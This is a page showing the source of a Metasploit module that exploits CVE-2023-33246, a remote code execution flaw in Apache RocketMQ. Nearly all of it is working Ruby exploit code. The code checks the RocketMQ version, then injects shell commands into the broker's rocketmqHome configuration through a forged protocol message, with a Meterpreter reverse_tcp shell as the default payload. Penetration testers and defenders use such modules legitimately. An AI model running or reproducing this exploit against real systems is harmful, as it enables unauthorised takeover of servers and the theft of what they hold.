Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/multi/http/apache_rocketmq_update_config.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::Tcp9include Msf::Exploit::CmdStager10include Msf::Auxiliary::Rocketmq11prepend Msf::Exploit::Remote::AutoCheck1213def initialize(info = {})14super(15update_info(16info,17'Name' => 'Apache RocketMQ update config RCE',18'Description' => %q{19RocketMQ versions 5.1.0 and below are vulnerable to Arbitrary Code Injection. Broker component of RocketMQ is20leaked on the extranet and lack permission verification. An attacker can exploit this vulnerability by using21the update configuration function to execute commands as the system users that RocketMQ is running as.22Additionally, an attacker can achieve the same effect by forging the RocketMQ protocol content.23},24'Author' => [25'Malayke', # PoC26'jheysel-r7', # module - RCE portion27'h00die', # module - Version detection & parsing28],29'References' => [30[ 'URL', 'https://github.com/Malayke/CVE-2023-33246_RocketMQ_RCE_EXPLOIT#usage-examples'],31[ 'CVE', '2023-33246']32],33'License' => MSF_LICENSE,34'Platform' => %w[unix linux],35'Privileged' => false,36'Arch' => [ ARCH_CMD ],37'Targets' => [38[39'Automatic (Unix In-Memory)',40{41'Platform' => %w[unix linux],42'Arch' => ARCH_CMD,43'DefaultOptions' => { 'PAYLOAD' => 'cmd/linux/http/x64/meterpreter/reverse_tcp' },44'Type' => :nix_memory45}46],47],48'Payload' => {49'BadChars' => "\x27"50},51'DefaultOptions' => {52'WfsDelay' => 6053},54'DefaultTarget' => 0,55'DisclosureDate' => '2023-05-23',56'Notes' => {57'Stability' => [ CRASH_SAFE ],58'SideEffects' => [ ARTIFACTS_ON_DISK, CONFIG_CHANGES ],59'Reliability' => [ REPEATABLE_SESSION ]60}61)62)6364register_options(65[66OptPort.new('RPORT', [true, 'The RocketMQ NameServer port', 9876]),67OptPort.new('BROKER_PORT', [false, 'The RocketMQ Broker port. If left unset the module will attempt to retrieve the Broker port from the NameServer response (recommended)', 10911])68]69)70end7172def check73@version_request_response = send_version_request74return Exploit::CheckCode::Unknown('Unable to determine the version') unless @version_request_response7576@parsed_data = parse_rocketmq_data(@version_request_response)77return Exploit::CheckCode::Unknown('RocketMQ did not respond to the request for version information') unless @parsed_data['version']7879version = Rex::Version.new(@parsed_data['version'].gsub('V', ''))80return Exploit::CheckCode::Unknown('Unable to determine the version') unless version8182if version > Rex::Version.new('5.0.0')83return Exploit::CheckCode::Appears("RocketMQ version: #{version}") if version <= Rex::Version.new('5.1.0')84elsif version <= Rex::Version.new('4.9.5')85return Exploit::CheckCode::Appears("RocketMQ version: #{version}")86end87Exploit::CheckCode::Safe("RocketMQ version: #{version}")88end8990def execute_command(cmd, opts = {})91data = '`{"code":25,"flag":0,"language":"JAVA","opaque":0,"serializeTypeCurrentRPC":"JSON","version":395}filterServerNums=192rocketmqHome=' + cmd.encode('UTF-8') + "\x3b\x0a"93header = [data.length + 3].pack('N') + "\x00\x00\x00"94payload = header + data9596begin97vprint_status("Payload command to be executed: #{cmd}")98sock = connect(true, { 'RHOST' => datastore['RHOST'], 'RPORT' => opts[:broker_port].to_i })99vprint_status("Payload is #{data}")100sock.put(payload)101rescue Rex::ConnectionError, ::Errno::ETIMEDOUT, ::Timeout::Error, ::EOFError => e102fail_with(Failure::Unreachable, "Unable to connect: #{e.class} #{e.message}")103end104end105106def on_new_session(session)107print_status('Removing the payload from where it was injected into $ROCKETMQ_HOME. The FilterServerManager class will execute the payload every 30 seconds until this is reverted')108109if session.type == 'meterpreter'110pwd = session.fs.dir.pwd111else112pwd = session.shell_command_token('pwd')113end114115# The session returned by the exploit spawns inside $ROCKETMQ_HOME/bin116pwd.gsub!('/bin', '')117print_good("Determined the original $ROCKETMQ_HOME: #{pwd}")118print_status('Re-running the exploit in order to reset the proper $ROCKETMQ_HOME value')119120execute_command(pwd, { broker_port: @broker_port })121end122123def exploit124@version_request_response ||= send_version_request125@parsed_data ||= parse_rocketmq_data(@version_request_response)126@broker_port = get_broker_port(@parsed_data, datastore['rhost'], default_broker_port: datastore['BROKER_PORT'])127print_status("Executing target: #{target.name} with payload #{datastore['PAYLOAD']} on Broker port: #{@broker_port}")128execute_command("-c $@|sh . echo bash -c '#{payload.encoded}'", { broker_port: @broker_port })129end130end131132133